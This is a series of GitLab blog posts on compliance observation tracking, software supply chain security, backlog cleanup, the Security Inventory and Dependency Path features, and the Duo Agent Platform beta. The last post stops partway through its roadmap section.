GitLab

How to transform compliance observation management with GitLab

2025-07-24T00:00:00.000Z

An observation is a compliance finding or deficiency identified during control monitoring. This is essentially a gap between what your security controls should be doing and what they're actually doing. Observations can stem from design deficiencies where the control isn't structured properly to meet requirements, operating effectiveness issues where the control exists but isn't working as intended, or evidence gaps where required documentation or proof of control execution is missing.

These observations emerge from our quarterly control monitoring process, where we systematically assess the effectiveness of security controls supporting our certifications (SOC 2, ISO 27001, etc.). Observations can also be the output of our external audits from third-party assessors. Observations aren't just compliance checkboxes, they represent real security risks that need prompt, visible remediation.

Observation management is the process by which we manage these observations from identification through remediation to closure. In this article, you'll learn how the GitLab Security Team uses the DevSecOps platform to manage and remediate observations, and the efficiencies we've realized from doing so.

The GitLab observation lifecycle: From identification to resolution

The lifecycle of an observation encompasses the entire process from initial identification by compliance engineers through to completed remediation by remediation owners. This lifecycle enables real-time transparent status reporting and that is easier for all stakeholders to understand and follow.

Here are the stages of the observation lifecycle:

1. Identification

Compliance engineers identify potential observations during quarterly monitoring.
Initial validation occurs to confirm the finding represents a genuine control gap.
Detailed documentation begins immediately in a GitLab issue.
The root cause of the observation is determined and a remediation plan to address the root cause is established.

2. Validation

Issue is assigned to the appropriate remediation owner (usually a team lead or department manager).
Remediation owner reviews and confirms they understand and accept ownership.
The remediation plan is reviewed, prioritized, and updated collaboratively as needed.

3. In-progress

Active remediation work begins with clear milestones and deadlines.
Regular updates are provided through GitLab comments and status changes.
Collaboration happens transparently where all stakeholders can see progress.

4. Remediated

Remediation owner marks work complete and provides evidence.
Issue transitions to compliance review for validation.

5. Resolution

Compliance engineer verifies exit criteria are met.
The issue is closed with final documentation.
Lessons learned are captured for future prevention.

Alternative paths handle blocked work, risk acceptance decisions, and stalled remediation efforts with appropriate escalation workflows.

Example of observation lifecycle

The power of transparency in GitLab

Effective observation management shouldn't require detective work to determine basic information like ownership, status, or priority. Yet most organizations find themselves exactly in this scenario: compliance teams chasing updates, operational teams unaware of their responsibilities, and leadership lacking visibility into real risk exposure until audit season arrives.

The Security Compliance team at GitLab faced these exact problems. Our team initially used a dedicated GRC tool as the single source of truth for outstanding observations, but the lack of visibility to key stakeholders meant minimal remediation actually occurred. The team found themselves spending their time on administrative work, rather than guiding remediation efforts.

Our solution was to move observation management directly into GitLab issues within a dedicated project. This approach transforms observations from compliance issues into visible, actionable work items that integrate naturally into development and operations workflows. Every stakeholder can see what needs attention, collaborate on remediation plans, and track progress in real time, creating the transparency and accountability that traditional tools simply can't deliver.

Smart organization through labels and issue boards

GitLab allows teams to categorize observation issues into multiple organizational views. The Security Compliance team uses the following to categorize observations:

Workflow: ~workflow::identified, ~workflow::validated, ~workflow::in progress, ~workflow::remediated
Department: ~dept::engineering, ~dept::security, ~dept::product
Risk Severity: ~risk::critical, ~risk::high, ~risk::medium, ~risk::low
System: ~system::gitlab, ~system::gcp, ~system::hr-systems
Program: ~program::soc2, ~program::iso, ~program::fedramp , ~program::pci

These labels are then leveraged to create issue boards:

Workflow boards visualize the observation lifecycle stages.
Department boards show each team's remediation workload.
Risk-based boards prioritize critical findings requiring immediate attention.
System boards visualize observations by system.
Program boards track certification-specific observation resolution.

Labels enable powerful filtering and reporting while supporting automated workflows through our triage bot policies. Please refer to the automation section for more details on our automation strategy.

Automation: Working smarter, not harder

Managing dozens of observations across multiple certifications requires smart automation. The Security Compliance team utilizes the triage bot, which is an open source project hosted in GitLab. The triage bot gem aims to enable project managers to automatically triage issues in GitLab projects or groups based on defined policies. This helps manage issue hygiene so stakeholders can focus their efforts on remediation.

Within the observation management project, we have policies written to ensure there is an assignee on each issue, each issue has required labels, issues are updated every 30 days, and blocked and stalled issues are nudged every 90 days. In addition, a weekly summary issue is created to summarize all the issues out of compliance based on our defined policies. This enables team members to monitor issues efficiently and spend less time on administrative tasks.

Measuring success: Key metrics and reporting

GitLab's raw issue data can be leveraged into actionable intelligence. Organizations can extract meaningful insights from issue creation date, closed date, last updated date, and labels. The following metrics provide a comprehensive view of your observation management effectiveness:

Resolution Efficiency Analysis: Average time from identification to resolution by department and severity

Track issue creation versus close dates across departments and severity levels to identify bottlenecks and measure performance against SLAs. This reveals which teams excel at rapid response and which may need additional resources or process improvements.

Real-Time Risk Assessment: Current risk profile based on open critical and high risk observations

Leverage risk level labels to create dynamic visualizations of your organization's current risk exposure. This provides leadership with an immediate understanding of critical observations requiring urgent attention.

Strategic Resource Allocation: Department-level risk distribution for targeted improvement efforts

Identify which departments are responsible for remediation of the highest-risk observations to prioritize resources, oversight, and projects. This data-driven approach ensures improvement efforts focus where they'll have maximum impact.

Compliance Readiness Monitoring: Certification-specific observation counts and resolution rates

Utilize certification labels to assess audit preparedness and track progress toward compliance goals. This metric provides early warning of potential certification risks and validates remediation efforts.

Accountability Tracking: Overdue remediations

Monitor SLA compliance to ensure observations receive timely attention. This metric highlights systemic delays and enables proactive intervention before minor issues become major problems.

Engagement Health Check: Observation freshness

Track recent activity (updates within 30 days) to ensure observations remain actively managed rather than forgotten. This metric identifies stagnant issues that may require escalation or reassignment.

Advanced strategies: Taking observation management further

Here's what you can do to deepen the impact of observation management in your organization.

Integrate with security tools

Modern observation management extends beyond manual tracking by connecting with your existing security infrastructure. Organizations can configure vulnerability scanners and security monitoring tools to automatically generate observation issues, eliminating manual data entry and ensuring comprehensive coverage.

Apply predictive analytics

Historical observation data becomes a powerful forecasting tool when properly analyzed. Organizations can leverage past remediation patterns to predict future timelines and resource requirements, enabling more accurate project planning and budget allocation. Pattern recognition in observation types reveals systemic vulnerabilities that warrant preventive controls, shifting focus from reactive to proactive risk management. Advanced implementations incorporate multiple data sources into sophisticated risk scoring algorithms that provide nuanced threat assessments and priority rankings.

Customize for stakeholders

Effective observation management recognizes that different roles require different perspectives on the same data. Role-based dashboards deliver tailored views for executives seeking high-level risk summaries, department managers tracking team performance, and individual contributors managing their assigned observations. Automated reporting systems can be configured to match various audience needs and communication preferences, from detailed technical reports to executive briefings. Self-service analytics capabilities empower stakeholders to conduct ad-hoc analysis and generate custom insights without requiring technical expertise or support.

Move from mere compliance to operational excellence

GitLab's approach to observation management represents more than a tool change, it's a fundamental shift from reactive compliance to proactive risk mitigation. By breaking down silos between compliance teams and operational stakeholders, organizations achieve unprecedented visibility while dramatically improving remediation outcomes.

The results are measurable: faster resolution through transparent accountability, active stakeholder collaboration instead of reluctant participation, and continuous audit readiness rather than periodic scrambles. Automated workflows free compliance professionals for strategic work while rich data enables predictive analytics that shift focus from reactive firefighting to proactive prevention.

Most importantly, this approach elevates compliance from burden to strategic enabler. When observations become visible, trackable work items integrated into operational workflows, organizations develop stronger security culture and lasting improvements that extend beyond any single audit cycle. The outcome isn't just regulatory compliance. It's organizational resilience and competitive advantage through superior risk management.

Want to learn more about GitLab's security compliance practices? Check out our Security Compliance Handbook for additional insights and implementation guidance.

Software supply chain security guide: Why organizations struggle

2025-07-24T00:00:00.000Z

Ask most development teams about supply chain security, and you'll get answers focused on vulnerability scanning or dependency management. While these are components of supply chain security, they represent a dangerously narrow view of a much broader challenge.

Supply chain security isn't just about scanning dependencies. It encompasses the entire journey from code creation to production deployment, including:

Source security: protect code repositories, managing contributor access, ensuring code integrity
Build security: secure build environments, preventing tampering during compilation and packaging
Artifact security: ensure the integrity of containers, packages, and deployment artifacts
Deployment security: secure the delivery mechanisms and runtime environments
Tool security: harden the development tools and platforms themselves

The "chain" in supply chain security refers to this interconnected series of steps. A weakness anywhere in the chain can compromise the entire software delivery process.

The 2020 SolarWinds attack illustrates this perfectly. In what became one of the largest supply chain attacks in history, state-sponsored attackers compromised the build pipeline of SolarWinds' Orion network management software. Rather than exploiting a vulnerable dependency or hacking the final application, they injected malicious code during the compilation process itself.

The result was devastating: More than 18,000 organizations, including multiple U.S. government agencies, unknowingly installed backdoored software through normal software updates. The source code was clean, the final application appeared legitimate, but the build process had been weaponized. This attack remained undetected for months, demonstrating how supply chain vulnerabilities can bypass traditional security measures.

Common misconceptions that leave organizations vulnerable

Despite growing awareness of supply chain threats, many organizations remain exposed because they operate under fundamental misunderstandings about what software supply chain security actually entails. These misconceptions create dangerous blind spots:

Thinking software supply chain security equals dependency scanning
Focusing only on open source components while ignoring proprietary code risks
Believing that code signing alone provides sufficient protection
Assuming that secure coding practices eliminate supply chain risks
Treating it as a security team problem rather than a development workflow challenge

How AI is changing the game

Just as organizations are grappling with traditional software supply chain security challenges, artificial intelligence (AI) is introducing entirely new attack vectors and amplifying existing ones in unprecedented ways.

AI-powered attacks: More sophisticated, more scalable

Attackers are using AI to automate vulnerability discovery, generate convincing social engineering attacks targeting developers, and systematically analyze public codebases for weaknesses. What once required manual effort can now be done at scale — with precision.

The AI development supply chain introduces new risks

AI is reshaping the entire development lifecycle, but it's also introducing significant security blind spots:

Model supply chain attacks: Pre-trained models from sources like Hugging Face or GitHub may contain backdoors or poisoned training data.
Insecure AI-generated code: Developers using AI coding assistants may unknowingly introduce vulnerable patterns or unsafe dependencies.
Compromised AI toolchains: The infrastructure used to train, deploy, and manage AI models creates a new attack surface.
Automated reconnaissance: AI enables attackers to scan entire ecosystems to identify high-impact supply chain targets.
Shadow AI and unsanctioned tools: Developers may integrate external AI tools that haven't been vetted.

The result? AI doesn't just introduce new vulnerabilities, it amplifies the scale and impact of existing ones. Organizations can no longer rely on incremental improvements. The threat landscape is evolving faster than current security practices can adapt.

Why most organizations still struggle

Even organizations that understand supply chain security often fail to act effectively. The statistics reveal a troubling pattern of awareness without corresponding behavior change.

When Colonial Pipeline paid hackers $4.4 million in 2021 to restore operations, or when 18,000 organizations fell victim to the SolarWinds attack, the message was clear: Supply chain vulnerabilities can bring down critical infrastructure and compromise sensitive data at unprecedented scale.

Yet, despite this awareness, most organizations continue with business as usual. The real question isn't whether organizations care about supply chain security — it's why caring alone isn't translating into effective protection.

The answer lies in four critical barriers that prevent effective action:

1. The false economy mindset

Organizations sometimes focus on the cost instead of "what's the most effective approach?" This cost-first thinking creates expensive downstream problems.

2. Skills shortage reality

With organizations averaging 4 security professionals per 100 developers, according to BSIMM research, and 90% of organizations reporting critical cybersecurity skills gaps, according to ISC2, traditional approaches are mathematically impossible to scale.

3. Misaligned organizational incentives

Developer OKRs focus on feature velocity while security teams measure different outcomes. When C-suite priorities emphasize speed-to-market over security posture, friction becomes inevitable.

4. Tool complexity overload

The average enterprise uses 45 cybersecurity tools, with 40% of security alerts being false positives and must coordinate across 19 tools on average for each incident.

These barriers create a vicious cycle: Organizations recognize the threat, invest in security solutions, but implement them in ways that don't drive the desired outcomes.

The true price of supply chain insecurity

Supply chain attacks create risk and expenses that extend far beyond initial remediation. Understanding these hidden multipliers helps explain why prevention is not just preferable – it's essential for business continuity.

Time becomes the enemy

Average time to identify and contain a supply chain breach: 277 days
Customer trust rebuilding period: 2-3+ years
Engineering hours diverted from product development to security remediation

Reputation damage compounds

When attackers compromise your supply chain, they don't just steal data – they undermine the foundation of customer trust. Customer churn rates typically increase 33% post-breach, while partner relationships require costly re-certification processes. Competitive positioning suffers as prospects choose alternatives perceived as "safer."

Regulatory reality bites

The regulatory landscape has fundamentally shifted. GDPR fines now average over $50 million for significant data breaches. The EU's new Cyber Resilience Act mandates supply chain transparency. U.S. federal contractors must provide software bills of materials (SBOMs) for all software purchases — a requirement that's rapidly spreading to private sector procurement.

Operational disruption multiplies

Beyond the direct costs, supply chain attacks create operational chaos such as platform downtime during attack remediation, emergency security audits across entire technology stacks, and legal costs from customer lawsuits and regulatory investigations.

What's wrong with current approaches

Most organizations confuse security activity with security impact. They deploy scanners, generate lengthy reports, and chase teams to address through manual follow-ups. But these efforts often backfire — creating more problems than they solve.

Massive scanning vs. effective protection

Enterprises generate over 10,000 security alerts each month, with the most active generating roughly 150,000 events per day. But 63% of these are false positives or low-priority noise. Security teams become overwhelmed and turn into bottlenecks instead of enablers.

The collaboration breakdown

The most secure organizations don't have the most tools; they have the strongest DevSecOps collaboration. But most current setups make this harder by splitting workflows across incompatible tools, failing to show developers security results in their environment, and offering no shared visibility into risk and business impact.

The path forward

Understanding these challenges is the first step toward building effective supply chain security. The organizations that succeed don't just add more security tools, they fundamentally rethink how security integrates with development workflows. They also review end-to-end software delivery workflows to simplify processes, reduce tools and improve collaboration.

At GitLab, we've seen how integrated DevSecOps platforms can address these challenges by bringing security directly into the development workflow. In our next article in this series, we'll explore how leading organizations are transforming their approach to supply chain security through developer-native solutions, AI-powered automation, and platforms that make security a natural part of building great software.

Learn more about GitLab's software supply chain security capabilities.

Inside GitLab's Healthy Backlog Initiative

2025-07-23T00:00:00.000Z

At GitLab, we are proud of the strong, collaborative relationship with our community. We encourage everyone to contribute to GitLab. Over the years, those community contributions have helped strengthen the GitLab platform. But as we've grown, community participation via GitLab issues has grown, resulting in an unwieldy issue backlog.

GitLab's Product and Engineering teams recently launched the Healthy Backlog Initiative to address this backlog and refine our approach to managing contributed issues going forward.

Issues with ongoing community engagement, recent activity, or a clear strategic alignment will remain open. We'll be closing issues that are no longer relevant, lack community interest, or no longer fit our current product direction.

This focus will lead to increased innovation, better expectation setting, and faster development and delivery cycles of community-contributed capabilities.

What is the Healthy Backlog Initiative?

Over time, the GitLab community has submitted tens of thousands of issues, including bugs, feature requests, and feedback items. Currently, the main GitLab issue tracker contains over 65,000 issues, some are no longer applicable to the platform and others remain relevant today.

Our Healthy Backlog Initiative will cull the backlog and establish a workstream for our Product and Engineering teams to implement a more focused approach to backlog management. They will conduct weekly assessments of the backlog to ensure that we prioritize issues that align with our product strategy and roadmap.

Note: If you believe a closed issue does align with GitLab’s product strategy and roadmap, or if you're actively contributing to the request, we strongly encourage you to comment on the issue with updated context and current details. We are committed to reviewing these updated issues as part of our regular assessment efforts.

How does this change benefit you?

This streamlined approach means direct, tangible improvements for every GitLab user:

Sharper focus and faster delivery: By narrowing our backlog to strategically aligned features, we can dedicate development resources more effectively. This means you can expect shorter development cycles and more meaningful improvements to your GitLab experience.
Clearer expectations: We are committed to transparent communication about what's on our roadmap and what isn't, empowering you to make informed decisions about your workflows and contributions.
Accelerated feedback loops: With a clean backlog, new feedback and feature requests will be reviewed and prioritized more efficiently, reducing overall triage time and ensuring timely issues receive the necessary attention. This creates a more responsive feedback loop for everyone.

This initiative does not diminish the significance of community feedback and contributions. We are taking this action to create clarity around what GitLab Team Members can realistically commit to delivering, and to ensure that all feedback receives proper consideration.

Looking forward

The GitLab Healthy Backlog Initiative reflects our commitment to being transparent and effective stewards of the GitLab platform. By clearly communicating our priorities and focusing our efforts on what we can realistically deliver over the next year, we're better positioned to meet and exceed your expectations.

Your continued participation and feedback help make GitLab stronger. Every comment, merge request, bug report, and feature suggestion contributes to our shared vision. And we’re still rewarding you for that as well, with initiatives like our monthly Notable Contributor program, Swag rewards for leveling up, Hackathon winners, and more, all available through our Contributor Portal.

To learn more about how to contribute to GitLab, visit our community site. To share feedback on this project, please add your comments on the feedback issue in this epic.

Bridging the visibility gap in software supply chain security

2025-07-21T00:00:00.000Z

Our most recent release, GitLab 18.2, introduces two new capabilities to improve software supply chain security: Security Inventory and Dependency Path visualization.

Security Inventory gives Application Security teams a centralized, portfolio-wide view of risk and scan coverage across their GitLab groups and projects, helping them identify blind spots and prioritize risk mitigation efforts. Dependency Path visualization equips developers with a clear view of how open source vulnerabilities are introduced through the dependency chain, making it easier to pinpoint the right fix.

Together, these capabilities help security and development teams build more secure applications by providing visibility into where risks exist, context to remediate them, and workflows that support collaboration. Unlike other solutions, this all happens in the same platform developers use to build, review, and deploy software, creating a developer and AppSec experience without the overhead of integrations.

Open source widens the attack surface area

Modern applications heavily rely on open source software. However, open source introduces a significant security risk — components can be outdated, unmaintained, or unknowingly expose vulnerabilities. That's why Software Composition Analysis (SCA) has become a cornerstone of modern AppSec programs.

A key challenge in vulnerability management is effectively managing transitive dependency risk. These components are often buried deep in the dependency chain, making it difficult to trace how a vulnerability was introduced or determine what needs to be updated to fix it. Worse, they account for nearly two-thirds of known open source vulnerabilities. Without clear visibility into the full dependency path, teams are left guessing, delaying remediation and increasing risk.

Transitive dependencies are packages that your application uses indirectly. They're pulled in automatically by the direct dependencies you explicitly include. These nested dependencies can introduce vulnerabilities without the developer ever knowing they're in the project.

This challenge becomes exponentially more difficult at scale. When security teams are responsible for hundreds, or even thousands, of repositories — each with their own dependencies, build pipelines, and owners — answering fundamental questions on application security risk posture becomes challenging. And in an era of growing software supply chain threats, where vulnerabilities can propagate across systems through shared libraries and CI/CD configurations, these blind spots take on even greater consequence.

Security Inventory: Visibility that scales

Security Inventory consolidates risk information across all your groups and projects into a unified view. It highlights which assets are covered by security scans and which aren't. Rather than managing issues in isolation, security teams can assess posture holistically and identify where to focus efforts.

This level of centralization is especially critical for organizations managing a large number of repositories. It allows platform and AppSec teams to understand where risk exists by highlighting unscanned or underprotected projects, but also enables them to take action directly from the interface. Teams can go beyond just awareness to enforcement with the full context and understanding of which applications pose the greatest risk. By turning fragmented insights into a single source of truth, Security Inventory enables organizations to move from reactive issue triage to strategic, data-driven security governance. Learn more by watching Security Inventory in action:

Dependency Path visualization: Clarity for effective remediation

Security Inventory shows where the risks are at a high level; Dependency Path visualization shows how to fix them.

When a vulnerability is discovered deep in a dependency chain, identifying the correct fix can be complicated. Most security tools will highlight the affected package but stop short of explaining how it entered the codebase. Developers are left guessing which dependencies are directly introduced and which are pulled in transitively, making it difficult to determine where a change is needed, or worse, applying patches that don't address the root cause.

Our new Dependency Path visualization, sometimes referred to as a dependency graph, displays the full route from a top-level package to the vulnerable component following an SCA scan. This clarity is essential, especially given how pervasive deeply embedded vulnerabilities are in dependency chains. And since it's built into the GitLab workflow, developers gain actionable insight without context switching or guesswork. Security teams can more effectively triage issues while developers get assurance that remediations are addressing root causes.

Mitigate risk with developer-first security

These capabilities are part of GitLab's broader strategy to deliver security within the same platform where code is planned, built, and deployed. By embedding security insights into the DevSecOps workflow, GitLab reduces friction and drives collaboration between development and security teams.

Security Inventory and Dependency Path visualization provide complementary perspectives: the former enables scale-aware oversight, the latter supports precision fixes. This alignment helps teams prioritize what matters most and close gaps without adding new tools or complex integrations.

Get started with Security Inventory and Dependency Path visualization today! Sign up for a free trial of GitLab Ultimate.

GitLab Duo Agent Platform Public Beta: Next-gen AI orchestration and more

2025-07-17T00:00:00.000Z

We're building the future of software development.

At GitLab, we are reimagining the future of software engineering as a human and AI collaboration. Where developers focus on solving technical, complex problems and driving innovation, while AI agents handle the routine, repetitive tasks that slow down progress. Where developers are free to explore new ideas in code at much lower cost, bug backlogs are a thing of the past, and users of the software you build enjoy a more usable, reliable, and secure experience. This isn't a distant dream. We're building this reality today, and it is called the GitLab Duo Agent Platform.

What is GitLab Duo Agent Platform?

GitLab Duo Agent Platform is our next-generation DevSecOps orchestration platform designed to unlock asynchronous collaboration between developers and AI agents. It will transform your development workflow from isolated linear processes into dynamic collaboration where specialized AI agents work alongside you and your team on every stage of the software development lifecycle; it will be like having an unlimited team of colleagues at your disposal.

Imagine delegating a complex refactoring task to a Software Developer Agent while simultaneously having a Security Analyst Agent scan for vulnerabilities and a Deep Research Agent analyze progress across your repository history. This all happens in parallel, orchestrated seamlessly within GitLab.

Today, we are announcing the launch of the first public beta of the GitLab Duo Agent Platform for GitLab.com and self-managed GitLab Premium and Ultimate customers. This is just the first in a series of updates that will improve how software gets planned, built, verified, and deployed as we amplify human ingenuity through intelligent automation.

This first beta focuses on unlocking the IDE experience through the GitLab VS Code extension and JetBrains IDEs plug-in; next month, we plan on bringing the Duo Agent Platform experience to the GitLab application and expand our IDE support. Let me share a bit more about our vision for the roadmap between now and general availability, planned for later this year. You can find details about the first beta down below.

Watch this video or read on for what's available now and what's to come. Then, if you're ready to get started with Duo Agent Platform, find out how with the public beta.

GitLab's unique position as an orchestration platform

GitLab sits at the heart of the development lifecycle as the system of record for engineering teams, orchestrating the entire journey from concept to production for over 50 million registered users, including half of the Fortune 500 across geographies. This includes over 10,000 paying customers across all segments and verticals, including public institutions.

This gives GitLab something no competitor can match: a comprehensive understanding of everything it takes to deliver software. We bring together your project plans, code, test runs, security scans, compliance checks, and CI/CD configurations to not only power your team but also orchestrate collaboration with AI agents you control.

As an intelligent, unified DevSecOps platform, GitLab stores all of the context about your software engineering practice in one place. We will expose this unified data to AI agents via our knowledge graph. Every agent we build has automatic access to this SDLC-connected data set, providing rich context so agents can make informed recommendations and take actions that adhere to your organizational standards.

Here's an example of this advantage in action. Have you ever tried to figure out exactly how a project is going across dozens, if not hundreds, of stories and issues being worked on across all the developers involved? Our Deep Research Agent leverages the GitLab Knowledge Graph and semantic search capabilities to traverse your epic and all related issues, and explore the related codebase and surrounding context. It quickly correlates information across your repositories, merge requests, and deployment history. This delivers critical insights that standalone tools can't match and that would take human developers hours to uncover.

Our strategic evolution from AI features to agent orchestration

GitLab Duo started as an add-on, bringing generative AI to developers through Duo Pro and Enterprise. With GitLab 18.0, it's now built into the platform. We've unlocked Duo Agentic Chat and Code Suggestions for all Premium and Ultimate users, and now we're providing immediate access to the Duo Agent Platform.

We've ramped up engineering investment and are accelerating delivery, with powerful new AI features landing every month. But we're not just building another coding assistant. GitLab Duo is becoming an agent orchestration platform, where you can create, customize, and deploy AI agents that work alongside you and interoperate easily with other systems, dramatically increasing productivity.

“GitLab Duo Agent Platform enhances our development workflow with AI that truly understands our codebase and our organization. Having GitLab Duo AI agents embedded in our system of record for code, tests, CI/CD, and the entire software development lifecycle boosts productivity, velocity, and efficiency. The agents have become true collaborators to our teams, and their ability to understand intent, break down problems, and take action frees our developers to tackle the exciting, innovative work they love.” - Bal Kang, Engineering Platform Lead at NatWest

Agents that work out of the box

We are introducing agents that mirror familiar team roles. These agents can search, read, create, and modify existing artifacts across GitLab. Think of these as agents you can interact with individually, that also act as building blocks that you can customize to create your own agents. Like your team members, agents have defined specializations, such as software development, testing, or technical writing. As specialists, they're tapping into the right context and tools to consistently accomplish the same types of tasks, wherever they're deployed.

Here are some of the agents we're building today:

Chat Agent (now in beta): Takes natural language requests to provide information and context to the user. Can perform general development tasks, such as reading issues or code diffs. As an example, you can ask Chat to debug a failed job by providing the job URL.

Software Developer Agent (now in beta): Works on assigned items by creating code changes in virtual development environments and opening merge requests for review.
Product Planning Agent: Prioritizes product backlogs, assigns work items to human and agentic team members, and provides project updates over specified timelines.
Software Test Engineer Agent: Tests new code contributions for bugs and validates if reported issues have been resolved.
Code Reviewer Agent: Performs code reviews following team standards, identifies quality and security issues, and can merge code when ready.
Platform Engineer Agent: Monitors GitLab deployments, including GitLab Runners, tracks CI/CD pipeline health, and reports performance issues to human platform engineering teams.
Security Analyst Agent: Finds vulnerabilities within codebases and deployed applications, and implements code and configuration changes to help resolve security weaknesses.
Deployment Engineer Agent: Deploys updates to production, monitors for unusual behavior, and rolls back changes that impact application performance or security.
Deep Research Agent: Conducts comprehensive, multi-source analysis across your entire development ecosystem.

What makes these agents powerful is their native access to GitLab's comprehensive toolkit. Today, we have over 25 tools, from issues and epics to merge requests and documentation, with more to come. Unlike external AI tools that operate with limited context, our agents work as true team members with full platform privileges under your supervision.

In the coming months, you'll also be able to modify these agents to meet the needs of your organization. For example, you'll be able to specify that a Software Test Engineer Agent follows best practices for a particular framework or methodology, deepening its specialization and turning it into an even more valuable team member.

Flows orchestrate complex agent tasks

On top of individual agents, we are introducing agent Flows. Think of these as more complex workflows that can include multiple agents with pre-built instructions, steps, and actions for a given task that can run autonomously.

While you can create Flows for basic tasks common to individuals, they truly excel when applied to complex, specialized tasks that would normally take hours of coordination and effort to complete. Flows will help you finish complex tasks faster and, in many cases, asynchronously without human intervention.

Flows have specific triggers for execution. Each Flow contains a series of steps, and each step has detailed instructions that tell a specialized agent what to do. This granular approach allows you to give precise instructions to agents in the Flow. By defining instructions in greater detail and establishing structured decision points, Flows can help solve for the inherent variability in AI responses while eliminating the need to repeatedly specify the same requirements, unlocking more consistent and predictable outcomes without user configuration.

Here are some examples of out-of-the-box Flows that we are building:

Software Development Flow (now in beta): Orchestrates multiple agents to plan, implement, and test code changes end-to-end, helping transform how teams deliver features from concept to production.
Issue-to-MR Flow: Automatically converts issues into actionable merge requests by coordinating agents to analyze requirements, prepare comprehensive implementation plans, and generate code.
Convert CI File Flow: Streamlines migration workflows by having agents analyze existing CI/CD configurations and intelligently convert them to GitLab CI format with full pipeline compatibility.

Search and Replace Flow: Discovers and transforms code patterns across codebases by systematically analyzing project structures, identifying optimization opportunities, and executing precise replacements.
Incident Response & Root Cause Analysis Flow: Orchestrates incident response by correlating system data, coordinating specialized agents for root cause analysis, and executing approved remediation steps while keeping human stakeholders informed throughout the resolution process.

This is where GitLab Duo Agent Platform is taking a truly unique approach versus other AI solutions. We won't just give you pre-built agents. We'll also give you the power to create, customize, and share agent Flows that perfectly match your individual and organization's unique needs. And with Flows, you will then be able to give agents a specific execution plan for common and complex tasks.

We believe this approach is more powerful than building purpose-built agents like our competitors do, because every organization has different workflows, coding standards, security requirements, and business logic. Generic AI tools can't understand your specific context, but GitLab Duo Agent Platform will be able to be tailored to work exactly how your team works.

Why build agents and agent Flows in the GitLab Duo Agent Platform?

Build fast. You can build agents and complex agent Flows in the Duo Agent Platform quickly and easily using a fast, declarative extensibility model and UI assistance.

Built-in compute. With Duo Agent Platform, you no longer have to worry about the hassle of standing up your own infrastructure for agents: compute, network, and storage are all built-in.

SDLC events. Your agents can be invoked automatically on common events: broken pipeline, failed deployment, issue created, etc.

Instant access. You can interact with your agents everywhere in GitLab or our IDE plug-in: assign them issues, @mention them in comments, and chat with them everywhere Duo Chat is available.

Built-in and custom models supported. Your agents will have automatic access to all of the models we support, and users will be able to choose specific models for specific tasks. If you want to connect Duo Agent Platform to your own self-hosted model, you will be able to do that too!

Model Context Protocol (MCP) endpoints. Every agent and Flow can be accessed or triggered via native MCP endpoints, allowing you to connect to and collaborate with your agents and Flows from anywhere, including popular tools like Claude Code, Cursor, Copilot, and Windsurf.

Observability and security. Finally, we provide built-in observability and usage dashboards, so you can see exactly who, where, what, and when agents took actions on your behalf.

A community-driven future

Community contributions have long fueled GitLab's innovation and software development. We're excited to partner with our community with the introduction of the AI Catalog. The AI Catalog will allow you to create and share agents and Flows within your organization and across the GitLab Ecosystem in our upcoming beta.

We believe that the most valuable AI applications are likely to emerge from you, our community, thanks to your daily application of GitLab Duo Agent Platform to solve numerous real-world use cases. By enabling seamless sharing of agents and Flows, we're creating a network effect where each contribution enhances the platform's collective intelligence and value. Over time, we believe that the most valuable use cases from Agent Platform will come from our thriving GitLab community.

Available today in the GitLab Duo Agent Platform in public beta

The GitLab Duo Agent Platform public beta is available now to Premium and Ultimate customers with these capabilities:

Software Development Flow: Our first Flow orchestrates agents in gathering comprehensive context, clarifying ambiguities with human developers, and executing strategic plans to make precise changes to your codebase and repository. It leverages your entire project, including its structure, codebase, and history, along with additional context like GitLab issues or merge requests to amplify developer productivity.

New Agent tools available: Agents now have access to multiple tools to do their work, including:

File System (Read, Create, Edit, Find Files, List, Grep)
Execute Command Line*
Issues (List, Get, Get Comments, Edit*, Create*, Add/Update Comments*)
Epics (Get, Get Comments)
MR (Get, Get Comments, Get Diff, Create, Update)
Pipeline (Job Logs, Pipeline Errors)
Project (Get, Get File)
Commits (Get, List, Get Comments, Get Diff)
Search (Issue Search)
Secure (List Vulnerabilities)
Documentation Search

*=Requires user approval

GitLab Duo Agentic Chat in the IDE: Duo Agentic Chat transforms the chat experience from a passive Q&A tool into an active development partner directly in your IDE.

Iterative feedback and chat history: Duo Agentic Chat now supports chat history and iterative feedback, transforming the agent into a stateful, conversational partner. This fosters trust, enabling developers to delegate more complex tasks and offer corrective guidance.

Streamlined delegation with slash commands: Expanded, more powerful slash commands, such as /explain, /tests, and /include, create a “delegation language” for quick and precise intent. The /include command allows the explicit injection of context from specific files, open issues, merge requests, or dependencies directly into the agent's working memory, making the agent more powerful and teaching users how to provide optimal context for high-quality responses.

Personalization through custom rules: New Custom Rules enables developers to tailor agent behavior to individual and team preferences using natural language, for example, development style guides. This foundational mechanism shapes the agent's persona into a personalized assistant, evolving toward specialized agents based on user-defined preferences and organizational policies.

Support for GitLab Duo Agentic Chat in JetBrains IDE: To help meet developers where they work, we have expanded Duo Agentic Chat support to the JetBrains family of IDEs, including IntelliJ, PyCharm, GoLand, and Webstorm. This adds to our existing support for VS Code. Existing users get agentic capabilities automatically, while new users can install the plugin from the JetBrains Marketplace.

MCP client support: Duo Agentic Chat can now act as an MCP client, connecting to remote and locally running MCP servers. This capability unlocks the agent's ability to connect to systems beyond GitLab like Jira, ServiceNow, and ZenDesk to gather context or take actions. Any service that exposes itself via MCP can now become part of the agent's skill set. The official GitLab MCP Server is coming soon!

GitLab Duo Agentic Chat in GitLab Web UI. Duo Agentic Chat is also now available directly within the GitLab Web UI. This pivotal step evolves the agent from a coding assistant to a true DevSecOps agent, as it gains access to rich non-code context, such as issues and merge request discussions, allowing it to understand the "why" behind the work. Beyond understanding context, the agent can make changes directly from the WebUI, such as automatically updating issue statuses or editing merge request descriptions.

Coming soon to GitLab Duo Agent Platform

Over the coming weeks, we'll release new capabilities to Duo Agent Platform, including more out-of-the-box agents and Flows. These will bring the platform into the GitLab experience you love today and enable even greater customization and extensibility, amplifying productivity for our customers:

Integrated GitLab experience: Building on the IDE extensions available in 18.2, we're expanding agents and Flows within the GitLab platform. This deeper integration will expand the ways you can collaborate synchronously and asynchronously with agents. You will be able to assign issues directly to agents, @mention them within GitLab Duo Chat, and seamlessly invoke them from anywhere in the application while maintaining MCP connectivity from your developer tool of choice. This native integration transforms agents into true development team members, accessible across GitLab.
